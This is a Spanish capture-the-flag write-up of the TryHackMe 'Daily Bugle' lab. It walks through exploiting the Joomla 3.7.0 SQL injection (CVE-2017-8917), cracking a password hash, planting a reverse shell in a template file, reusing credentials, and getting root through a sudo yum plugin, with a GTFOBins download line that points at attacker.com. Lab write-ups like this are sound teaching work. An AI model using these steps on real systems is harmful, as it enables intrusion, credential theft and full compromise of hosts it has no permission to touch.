

# Daily Bugle - Writeup

## RECONOCIMIENTO - EXPLOTACION

Realizamos un escaneo con nmap:

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
|   256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_  256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
80/tcp    open  http      Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_ http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_ /layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
3306/tcp  open  mysql     MariaDB (unauthorized)
```

Tenemos 3 puertos:

- 22: ssh (Sin credenciales)
- 80: http
- 3306 mysql (unauthorized y no disponemos de credenciales)

Comenzamos investigando el servidor web y enumerando los directorios:

```
/.html (Status: 403) [Size: 207]
/images (Status: 301) [Size: 235] [→ http://10.10.112.93/images/]
/index.php (Status: 200) [Size: 9278]
/media (Status: 301) [Size: 234] [→ http://10.10.112.93/media/]
/templates (Status: 301) [Size: 238] [→ http://10.10.112.93/templates/]
/modules (Status: 301) [Size: 236] [→ http://10.10.112.93/modules/]
/bin (Status: 301) [Size: 232] [→ http://10.10.112.93/bin/]
/plugins (Status: 301) [Size: 236] [→ http://10.10.112.93/plugins/]
/includes (Status: 301) [Size: 237] [→ http://10.10.112.93/includes/]
/language (Status: 301) [Size: 237] [→ http://10.10.112.93/language/]
/components (Status: 301) [Size: 239] [→ http://10.10.112.93/components/]
/cache (Status: 301) [Size: 234] [→ http://10.10.112.93/cache/]
/libraries (Status: 301) [Size: 238] [→ http://10.10.112.93/libraries/]
/robots.txt (Status: 200) [Size: 836]
/tmp (Status: 301) [Size: 232] [→ http://10.10.112.93/tmp/]
/layouts (Status: 301) [Size: 236] [→ http://10.10.112.93/layouts/]
/administrator (Status: 301) [Size: 242] [→ http://10.10.112.93/administrator/]
/configuration.php (Status: 200) [Size: 91]
```

Localizamos un panel de login:



Como no sabemos las credenciales lo ideal seria localizar la version de Joomla para saber si la version es vulnerable, esto lo podemos hacer con droopscan. Como no lo tenemos instalado, copiamos el repositorio de github y ejecutamos el siguiente comando:

```
droopscan scan joomla --url http://10.10.112.93
```

Nos lista posibles versiones y archivos donde podemos localizar la version:

```
[+] Possible version(s):
  3.7.0
  3.7.0-beta2
  3.7.0-beta3
  3.7.0-beta4
  3.7.0-rc4
  3.7.1
  3.7.1-rc1
  3.7.1-rc2
  3.7.2
  3.7.3
  3.7.3-beta1
  3.7.3-rc2
  3.7.4
```

```
Possible interesting urls found:
Detailed version information. - http://10.10.112.93/administrator/manifests/files/joomla.xml
Login page. - http://10.10.112.93/administrator/
License file. - http://10.10.112.93/LICENSE.txt
Version attribute contains approx version - http://10.10.112.93/plugins/system/cache/cache.xml
```

Vamos a ir a uno de los archivos a ver si menciona la version:

```
10.10.112.93/administrator/manifests/files/joomla.xml

This XML file does not appear to have any style information associated with it. The document root is:

-<extension version="3.6" type="file" method="upgrade">
  <name>files_joomla</name>
  <author>Joomla! Project</author>
  <authorEmail>admin@joomla.org</authorEmail>
  <authorUrl>www.joomla.org</authorUrl>
-<copyright>
  (C) 2005 - 2017 Open Source Matters. All rights reserved
</copyright>
-<license>
  GNU General Public License version 2 or later; see LICENSE.txt
</license>
<version>3.7.0</version>
```

Sabiendo que tiene la version 3.7.0 vamos a buscar si existe algun exploit para esa version de joomla:

Joomla! 3.7 - SQL Injection	php/remote/44227.php
Joomla! 3.7.0 - 'com_fields' SQL Injection	php/webapps/42033.txt
Joomla! Component ARI Quiz 3.7.4 - SQL Injection	php/webapps/46769.txt
Joomla! Component com_realestatemanager 3.7 - SQL Injection	php/webapps/38445.txt
Joomla! Component Easydiscuss < 4.0.21 - Cross-Site Scripting	php/webapps/43488.txt
Joomla! Component J2Store < 3.3.7 - SQL Injection	php/webapps/46467.txt
Joomla! Component JomEstate PRO 3.7 - 'id' SQL Injection	php/webapps/44117.txt
Joomla! Component Jtag Members Directory 5.3.7 - Arbitrary File Download	php/webapps/43913.txt
Joomla! Component Quiz Deluxe 3.7.4 - SQL Injection	php/webapps/42589.txt

Vemos que esa version de Joomla es vulnerable a SQLInjection, vamos a descargarnos el archivo php y ver su contenido. En su interior vemos una posible ruta vulnerable a SQLi


```
$target=trim($_POST['in']);

<files>

$inject=$target.'/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=';

<folder>bin</folder>
```


Como no me funcionaba ningun exploit de exploit-db he buscado otras herramientas en internet y me he encontrado con:




teranpeterson

Update README.md


253489d · 4 years ago

 2 Commits

 README.md

Update README.md

4 years ago

 joomblah.py

Adding joomblah ported code

4 years ago

README

# Joomblah

CVE-2017-8917 SQL injection Vulnerability in Joomla! 3.7.0 exploit

Explanation about the vulnerability:

- <https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html>

## Credits

Original code by @stefanlucas

Ported to python3 and added more features and redundancy

Como funciona en nuestra version, vamos a ejecutarlo:

```
python3 joomblah.py http://10.10.112.93
```

```
python3 joomblah.py http://10.10.112.93

Original code by @stefanlucas
Ported to python3 and added more features and redundancy

Joomla!

Original code by @stefanlucas


Fetching CSRF token
Testing SQLi
Found table: fb9j5_users
Extracting users from fb9j5_users
Found user ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0ve0/JSFh4389Lluc4Xya.dfy2MF.bZh0jVMw.V.d3p12kBtZutm', '', '']
Extracting sessions from fb9j5_session
```


Hemos conseguido al usuario jonah y una contraseña hasheada, vamos a desencryptarla con john:


```
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:24 0.04% (ETA: 2024-09-29 21:34) 0g/s 75.93p/s 75.93c/s 75.93C/s alabama1..loser123
spiderman123 (?)
1g 0:00:10:07 DONE (2024-09-27 05:55) 0.001645g/s 77.05p/s 77.05c/s 77.05C/s sweetsmile..speciala
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```


Ahora que disponemos de las credenciales "jonah:spiderman123", vamos a logearnos en joomla y nos vamos a media para ver si podemos subir una reverse shell:

CONTENT

 New Article

 Articles

 Categories

 Media

No nos da ningun error pero no se sube, eso debe de ser porque en algun lado se limitan las extensiones que se pueden subir a media:

SYSTEM

Global Configuration

Media

Permissions

COMPONENT

Articles

Banners

Cache

Check-in

Contacts

Installer

Joomla! Update

Languages

Media

Legal Extensions (File Types)

bmp.csv.doc.gif.ico.jpg.jpeg.odg.odt

Maximum Size (in MB)

10

Warning! Path Folder

Changing the 'Path to files folder' from the default of 'images' may break your links. The 'Path to images' folder has to be the same or a subfolder of 'Path to files'.

Path to Files Folder

images

Path to Images Folder

images

Añadimos php en las extensiones permitidas y volvemos a subir la reverse shell pero tampoco nos deja. Vamos a intentar cambiar en la configuracion de los plugins para que se puedan editar y añadir ahi nuestra reverse shell:

Action	Select New Setting
Configure ACL & Options	Allowed
Access Administration Interface	Allowed
Edit	Allowed
Edit State	Allowed

Como tampoco me dejaba aun permitiendo las extensiones vamos a probar a subirlo en templates:

Editing file "/index.php" in template "beez3".

css

html

images

javascript

language

component.php

error.php

index.php

jsstrings.php

templateDetails.xml

template\_preview.png

template\_thumbnail.png

Press F10 to toggle Full Screen editing.

```
1  <?php
2  /**
3   * @package    Joomla.Site
4   * @subpackage  Templates.beez3
5   *
6   * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
7   * @license     GNU General Public License version 2 or later; see LICENSE.txt
8   */
9
10 // No direct access.
11 defined('_JEXEC') or die;
12
13 /** @var JDocumentHtml $this */
14
15 JLoader::import('joomla.filesystem.file');
16
17 // Check modules
18 $showRightColumn = ($this->countModules('position-3') or $this->countModules('position-6') or $this->countModules('position-8'));
19 $showBottom      = ($this->countModules('position-9') or $this->countModules('position-10') or $this->countModules('position-11'));
20 $showLeft        = ($this->countModules('position-4') or $this->countModules('position-7') or $this->countModules('position-5'));
21
22 if ($showRightColumn == 0 and $showLeft == 0)
23 {
24     $showno = 0;
25 }
26
27 JHtml::_('behavior.framework', true);
28
29 // Get params
30 $color      = $this->params->get('templatecolor');
31 $logo       = $this->params->get('logo');
32 $navposition = $this->params->get('navposition');
33 $headerImage = $this->params->get('headerImage');
34 $config      = JFactory::getConfig();
35 $bootstrap  = explode(',', $this->params->get('bootstrap'));
36 $option      = JFactory::getApplication()->input->getCmd('option', '');
37
38 // Output as HTML5
39 $this->setHtml5(true);
40
41 if (in_array($option, $bootstrap))
42 {
43     // Load optional rtl Bootstrap css and Bootstrap bugfixes
44     JHtml::_('bootstrap.loadCss', true, $this->direction);
45 }
46
47 // Add stylesheets
48 JHtml::_('stylesheet', 'templates/system/css/system.css', array('version' => 'auto'));
49 JHtml::_('stylesheet', 'position.css', array('version' => 'auto', 'relative' => true));
```

Editamos el index.php de la template "beez3" insertando una reverse shell, nos ponemos a la escucha con nt, nos vamos a la ruta http://\*ip\*/templates/beez3/index.php y recibimos la conexion:

```
(kali@kali) [~/Downloads]
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.21.39.53] from (UNKNOWN) [10.10.112.93] 41434
Linux dailybugle 3.10.0-1062.el7.x86_64 #1 SMP Wed Aug 7 18:08:02 UTC
06:36:37 up 2:49, 0 users, load average: 0.00, 0.01, 0.05
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.2$
```

# ESCALADA DE PRIVILEGIOS

Para escalar privilegios a usuario jjameson vamos a buscar credenciales en el directorio /var/www/html. Dentro encontramos un archivo llamado configuration.php en el que encontramos 2 credenciales:

```
public $debug_lang = '0';
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'root';
public $password = 'nv5uz9r3ZEDzVjNu';
public $db = 'joomla';
public $dbprefix = 'fb9j5_';
public $live_site = '';
public $secret = 'UAMBRWzH03oFPmVC';
```

Aunque pongan que son de mysql, hay que intentar logearnos con todos los usuarios posibles para a ver si se repiten. Conseguimos logearnos como jjameson:

```
sh-4.2$ su jjameson
su jjameson
Password: nv5uz9r3ZEDzVjNu
whoami
jjameson
script /dev/null -c sh
sh-4.2$ whoami
jjameson
```

Vamos a ver los permisos que tiene para ejecutar comandos como sudo:

```
sh-4.2$ sudo -l
Matching Defaults entries for jjameson on dailybugle:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User jjameson may run the following commands on dailybugle:
    (ALL) NOPASSWD: /usr/bin/yum
```

Vemos que tiene permisos como sudo para ejecutar yum. En gfto bins tenemos varias opciones con las que podemos escalar privilegios a root:



File download

Sudo

## File download

It can download remote files.

Fetch a remote file via HTTP GET request. The file on the remote host must have an extension of `.rpm`, the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in `/var/tmp`, for example `/var/tmp/yum-root-cR004h/`.

```
RHOST=attacker.com
RFILE=file_to_get.rpm
yum install http://$RHOST/$RFILE
```

## Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

- (a) It runs commands using a specially crafted RPM package. Generate it with `fpm` and upload it to the target.

```
TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
```

```
sudo yum localinstall -y x-1.0-1.noarch.rpm
```

- (b) Spawn interactive root shell by loading a custom plugin.

```
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
    os.execl('/bin/sh','/bin/sh')
EOF

sudo yum -c $TF/x --enableplugin=y
```

Como el primero no me funcionaba porque no tiene el comando fpm instalado, he probado con el segundo, copiandolo linea a linea. Lo que hace es que te ejecuta una shell interactiva como root desde un plugin personalizado:

```
sh-4.2$ TF=$(mktemp -d)
sh-4.2$ cat >$TF/x<<EOF
> [main]
> plugins=1
> pluginpath=$TF
> pluginconfpath=$TF
> EOF
sh-4.2$ cat >$TF/y.conf<<EOF
> [main]
> enabled=1
> EOF
sh-4.2$ cat >$TF/y.py<<EOF
> import os
> import yum
> from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
> requires_api_version='2.1'
> def init_hook(conduit):
>     os.execl('/bin/sh','/bin/sh')
> EOF
sh-4.2$ sudo yum -c $TF/x --enableplugin=y
Loaded plugins: y
No plugin match for: y
sh-4.2# whoami
root
```